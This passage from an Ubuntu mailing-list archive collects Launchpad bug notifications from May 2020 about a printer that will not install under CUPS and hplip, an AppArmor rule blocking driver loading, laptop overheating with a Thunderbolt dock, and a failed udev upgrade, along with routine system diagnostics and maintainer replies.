root=UUID=6a8469e0-ecea-4a86-8040-b0caaa938fe4 ro quiet splash vt.handoff=7
  SourcePackage: cups
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 07/18/2014
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A7CN40WW
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lancer 5A6
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0F82993WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo G50-30
  dmi.modalias: 
dmi:bvnLENOVO:bvrA7CN40WW:bd07/18/2014:svnLENOVO:pn80G0:pvrLenovoG50-30:rvnLENOVO:rnLancer5A6:rvrSDK0F82993WIN:cvnLENOVO:ct10:cvrLenovoG50-30:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80G0
  dmi.product.sku: LENOVO_MT_80G0_BU_idea_FM_Lenovo G50-30
  dmi.product.version: Lenovo G50-30
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1879206/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1721704] Re: Printer settings stuck on loading drivers database

2020-05-19 Thread Till Kamppeter
Seems that some of the general AppArmor rules needs to get updated.

Access to /proc/sys/kernel/random/boot_id seems to be needed now.

** Also affects: apparmor (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1721704

Title:
  Printer settings stuck on loading drivers database

Status in apparmor package in Ubuntu:
  New
Status in system-config-printer package in Ubuntu:
  Incomplete

Bug description:
  1) Description:   Ubuntu Artful Aardvark (development branch)
 Release:   17.10
  2) ubuntu-settings:
 Installed: 17.10.17
 Candidate: 17.10.17
  3) The printer configuration goes fine and I can print
  4) Printer settings stuck on loading drivers database and finally no drivers 
list available. Only 'cancel' button active.

  Note: I'm trying to configure a Brother HL-2030 connected to Network
  through a FritzBox 7940 router. The printer works fine both on Fedora
  and macOS X systems. I opened 'System Settings', then select 'Devices'
  > 'Printers' > 'Add a Printer'. I entered the router address and the
  window shows me correctly a 'JetDirect-Printer' on 192.168.178.1. I
  selected the printer and pressed the 'Add' button, a window 'Select
  Printer Driver' appears and stuck with 'Loading drivers database...'.
  After about 2 minutes, stopped loading and remains blank. No drivers
  selection is available and I can only push the 'Cancel' button.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1721704/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879206] Re: cups hplip not install printer

2020-05-19 Thread Till Kamppeter
Is the hplip package installed on your system?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1879206

Title:
  cups hplip not install printer

Status in cups package in Ubuntu:
  New
Status in hplip package in Ubuntu:
  Incomplete

Bug description:
  After upgrading to Ubuntu 20.04 I can't print anymore.

  Description:  Ubuntu 20.04 LTS
  Release:  20.04

  cups:
Installato: 2.3.1-9ubuntu1.1
Candidato:  2.3.1-9ubuntu1.1
Tabella versione:
   *** 2.3.1-9ubuntu1.1 500
  500 http://it.archive.ubuntu.com/ubuntu focal-updates/main amd64 
Packages
  500 http://security.ubuntu.com/ubuntu focal-security/main amd64 
Packages
  100 /var/lib/dpkg/status
   2.3.1-9ubuntu1 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages

  hplip:
Installato: 3.20.3+dfsg0-2
Candidato:  3.20.3+dfsg0-2
Tabella versione:
   *** 3.20.3+dfsg0-2 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status

  
  I tried to reinstall the printer, but it is not being re-saved by cups / hplip

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: cups 2.3.1-9ubuntu1.1
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Mon May 18 02:24:07 2020
  InstallationDate: Installed on 2020-05-17 (0 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  Lpstat: device for DeskJet_3630: 
hp:/usb/DeskJet_3630_series?serial=CN8AM7H3230658
  MachineType: LENOVO 80G0
  Papersize: a4
  PpdFiles: Error: command ['fgrep', '-H', '*NickName', 
'/etc/cups/ppd/DeskJet_3630.ppd'] failed with exit code 2: grep: 
/etc/cups/ppd/DeskJet_3630.ppd: Permission denied
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-29-generic 
root=UUID=6a8469e0-ecea-4a86-8040-b0caaa938fe4 ro quiet splash vt.handoff=7
  SourcePackage: cups
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 07/18/2014
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A7CN40WW
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lancer 5A6
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0F82993WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo G50-30
  dmi.modalias: 
dmi:bvnLENOVO:bvrA7CN40WW:bd07/18/2014:svnLENOVO:pn80G0:pvrLenovoG50-30:rvnLENOVO:rnLancer5A6:rvrSDK0F82993WIN:cvnLENOVO:ct10:cvrLenovoG50-30:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80G0
  dmi.product.sku: LENOVO_MT_80G0_BU_idea_FM_Lenovo G50-30
  dmi.product.version: Lenovo G50-30
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1879206/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879206] Re: cups hplip not install printer

2020-05-19 Thread Till Kamppeter
Please run the command

dpkg -l | grep hplip

and post the output here.

Also did you ever try to install HPLIP from the upstream site? Did you
ever try to remove such an installation?

** Changed in: hplip (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1879206

Title:
  cups hplip not install printer

Status in cups package in Ubuntu:
  New
Status in hplip package in Ubuntu:
  Incomplete

Bug description:
  After upgrading to Ubuntu 20.04 I can't print anymore.

  Description:  Ubuntu 20.04 LTS
  Release:  20.04

  cups:
Installato: 2.3.1-9ubuntu1.1
Candidato:  2.3.1-9ubuntu1.1
Tabella versione:
   *** 2.3.1-9ubuntu1.1 500
  500 http://it.archive.ubuntu.com/ubuntu focal-updates/main amd64 
Packages
  500 http://security.ubuntu.com/ubuntu focal-security/main amd64 
Packages
  100 /var/lib/dpkg/status
   2.3.1-9ubuntu1 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages

  hplip:
Installato: 3.20.3+dfsg0-2
Candidato:  3.20.3+dfsg0-2
Tabella versione:
   *** 3.20.3+dfsg0-2 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status

  
  I tried to reinstall the printer, but it is not being re-saved by cups / hplip

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: cups 2.3.1-9ubuntu1.1
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Mon May 18 02:24:07 2020
  InstallationDate: Installed on 2020-05-17 (0 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  Lpstat: device for DeskJet_3630: 
hp:/usb/DeskJet_3630_series?serial=CN8AM7H3230658
  MachineType: LENOVO 80G0
  Papersize: a4
  PpdFiles: Error: command ['fgrep', '-H', '*NickName', 
'/etc/cups/ppd/DeskJet_3630.ppd'] failed with exit code 2: grep: 
/etc/cups/ppd/DeskJet_3630.ppd: Permission denied
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-29-generic 
root=UUID=6a8469e0-ecea-4a86-8040-b0caaa938fe4 ro quiet splash vt.handoff=7
  SourcePackage: cups
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 07/18/2014
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A7CN40WW
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lancer 5A6
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0F82993WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo G50-30
  dmi.modalias: 
dmi:bvnLENOVO:bvrA7CN40WW:bd07/18/2014:svnLENOVO:pn80G0:pvrLenovoG50-30:rvnLENOVO:rnLancer5A6:rvrSDK0F82993WIN:cvnLENOVO:ct10:cvrLenovoG50-30:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80G0
  dmi.product.sku: LENOVO_MT_80G0_BU_idea_FM_Lenovo G50-30
  dmi.product.version: Lenovo G50-30
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1879206/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879484] [NEW] Lenovo X1 Extreme with thunderbolt docking station causes overheat with concert of fans

2020-05-19 Thread Raoul Scarazzini
Public bug reported:

Hey everyone,
after resolving some of the problems I got after upgrading to 20.04 [1] I'm now 
using my Lenovo X1 Extreme Gen 2 with the thunderbolt docking station (and an 
HDMI monitor attached).
Everything worked out of the box, except for the increased general heat of the 
system (constantly over 70 °C) and the consequent concert of fans that makes 
working aside the (closed) laptop almost impossible.
It is really hard to understand if there's a specific process causing the CPU 
to be so constantly stressed, and what is more curious is that monitoring the 
general status of the system resources (CPU, Memory and so on) there are no 
peaks, it shows a normal usage, which is what I do: browser, mail, and some 
console. Something I would expect that with 16 cpu and 32 gigs of RAM should 
not be a concern.

Both thermald and tlp services are obviously installed and running.

[1] https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1876741

ProblemType: Bug
DistroRelease: Ubuntu 20.04
Package: xorg 1:7.7+19ubuntu14
ProcVersionSignature: Ubuntu 5.6.0-1008.8-oem 5.6.4
Uname: Linux 5.6.0-1008-oem x86_64
NonfreeKernelModules: nvidia_modeset nvidia
.proc.driver.nvidia.gpus..01.00.0: Error: [Errno 21] Is a directory: 
'/proc/driver/nvidia/gpus/:01:00.0'
.proc.driver.nvidia.registry: Binary: ""
.proc.driver.nvidia.suspend: suspend hibernate resume
.proc.driver.nvidia.suspend_depth: default modeset uvm
.proc.driver.nvidia.version:
 NVRM version: NVIDIA UNIX x86_64 Kernel Module  440.64  Fri Feb 21 01:17:26 
UTC 2020
 GCC version:
ApportVersion: 2.20.11-0ubuntu27
Architecture: amd64
BootLog:
 
CasperMD5CheckResult: skip
CompositorRunning: None
Date: Tue May 19 12:41:24 2020
DistUpgraded: 2020-04-28 11:09:59,157 DEBUG Running PostInstallScript: 
'./xorg_fix_proprietary.py'
DistroCodename: focal
DistroVariant: ubuntu
DkmsStatus:
 backport-iwlwifi, 8324, 5.4.0-31-generic, x86_64: installed
 nvidia, 440.64, 5.4.0-31-generic, x86_64: installed
 nvidia, 440.64, 5.6.0-1008-oem, x86_64: installed (WARNING! Diff between built 
and installed module!) (WARNING! Diff between built and installed module!) 
(WARNING! Diff between built and installed module!)
ExtraDebuggingInterest: Yes, including running git bisection searches
GraphicsCard:
 Intel Corporation UHD Graphics 630 (Mobile) [8086:3e9b] (rev 02) (prog-if 00 
[VGA controller])
   Subsystem: Lenovo UHD Graphics 630 (Mobile) [17aa:229f]
 NVIDIA Corporation TU117M [GeForce GTX 1650 Mobile / Max-Q] [10de:1f91] (rev 
a1) (prog-if 00 [VGA controller])
   Subsystem: Lenovo TU117M [GeForce GTX 1650 Mobile / Max-Q] [17aa:229f]
InstallationDate: Installed on 2019-12-10 (161 days ago)
InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017)
MachineType: LENOVO 20QVCTO1WW
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.6.0-1008-oem 
root=UUID=c61df9cc-bd36-4ed2-8f52-de114bbf3fc3 ro rd.driver.blacklist=nouveau 
modprobe.blacklist=nouveau
SourcePackage: xorg
Symptom: display
UpgradeStatus: Upgraded to focal on 2020-04-28 (21 days ago)
dmi.bios.date: 01/20/2020
dmi.bios.vendor: LENOVO
dmi.bios.version: N2OET42W (1.29 )
dmi.board.asset.tag: Not Available
dmi.board.name: 20QVCTO1WW
dmi.board.vendor: LENOVO
dmi.board.version: SDK0T08861 WIN
dmi.chassis.asset.tag: No Asset Information
dmi.chassis.type: 10
dmi.chassis.vendor: LENOVO
dmi.chassis.version: None
dmi.modalias: 
dmi:bvnLENOVO:bvrN2OET42W(1.29):bd01/20/2020:svnLENOVO:pn20QVCTO1WW:pvrThinkPadX1Extreme2nd:rvnLENOVO:rn20QVCTO1WW:rvrSDK0T08861WIN:cvnLENOVO:ct10:cvrNone:
dmi.product.family: ThinkPad X1 Extreme 2nd
dmi.product.name: 20QVCTO1WW
dmi.product.sku: LENOVO_MT_20QV_BU_Think_FM_ThinkPad X1 Extreme 2nd
dmi.product.version: ThinkPad X1 Extreme 2nd
dmi.sys.vendor: LENOVO
version.compiz: compiz N/A
version.libdrm2: libdrm2 2.4.101-2
version.libgl1-mesa-dri: libgl1-mesa-dri 20.0.4-2ubuntu1
version.libgl1-mesa-glx: libgl1-mesa-glx N/A
version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A
version.xserver-xorg-core: xserver-xorg-core 2:1.20.8-2ubuntu2
version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.1.0-1
version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A
version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1

** Affects: xorg (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug focal performance ubuntu

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1879484

Title:
  Lenovo X1 Extreme with thunderbolt docking station causes overheat
  with concert of fans

Status in xorg package in Ubuntu:
  New

Bug description:
  Hey everyone,
  after resolving some of the problems I got after upgrading to 20.04 [1] I'm 
now using my Lenovo X1 Extreme Gen 2 with the thunderbolt docking station (and 
an HDMI monitor attached).
  Everything worked 

[Touch-packages] [Bug 1877895] Re: package udev 245.4-4ubuntu3 failed to install/upgrade: o subprocesso instalado, do pacote udev, o script post-installation retornou erro do status de saída 1

2020-05-19 Thread Balint Reczey
Looks like the file got damaged on disk somehow.

** Changed in: systemd (Ubuntu)
   Status: Incomplete => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1877895

Title:
  package udev 245.4-4ubuntu3 failed to install/upgrade: o subprocesso
  instalado, do pacote udev, o script post-installation retornou erro do
  status de saída 1

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  after updating from 18.04 to 20.04, appears errors constantly

  ProblemType: Package
  DistroRelease: Ubuntu 20.04
  Package: udev 245.4-4ubuntu3
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CustomUdevRuleFiles: 70-snap.spotify.rules 70-snap.core.rules
  Date: Sat May  9 10:24:26 2020
  ErrorMessage: o subprocesso instalado, do pacote udev, o script 
post-installation retornou erro do status de saída 1
  InstallationDate: Installed on 2020-05-09 (1 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Sony Corporation SVE15125CBW
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.4.0-29-generic 
root=UUID=53223737-2091-4487-a0b3-a2b80db164ad ro quiet splash
  Python3Details: /usr/bin/python3.8, Python 3.8.2, python3-minimal, 
3.8.2-0ubuntu2
  PythonDetails: /usr/bin/python2.7, Python 2.7.18rc1, python-minimal, 
2.7.15~rc1-1
  RelatedPackageVersions:
   dpkg 1.19.7ubuntu3
   apt  2.0.2
  SourcePackage: systemd
  Title: package udev 245.4-4ubuntu3 failed to install/upgrade: o subprocesso 
instalado, do pacote udev, o script post-installation retornou erro do status 
de saída 1
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 11/14/2012
  dmi.bios.vendor: Insyde Corp.
  dmi.bios.version: R0170D5
  dmi.board.asset.tag: N/A
  dmi.board.name: VAIO
  dmi.board.vendor: Sony Corporation
  dmi.board.version: N/A
  dmi.chassis.asset.tag: N/A
  dmi.chassis.type: 10
  dmi.chassis.vendor: Sony Corporation
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnInsydeCorp.:bvrR0170D5:bd11/14/2012:svnSonyCorporation:pnSVE15125CBW:pvrC800EQPLK:rvnSonyCorporation:rnVAIO:rvrN/A:cvnSonyCorporation:ct10:cvrN/A:
  dmi.product.family: VAIO
  dmi.product.name: SVE15125CBW
  dmi.product.sku: 54508549
  dmi.product.version: C800EQPLK
  dmi.sys.vendor: Sony Corporation

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1877895/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


  1   2   >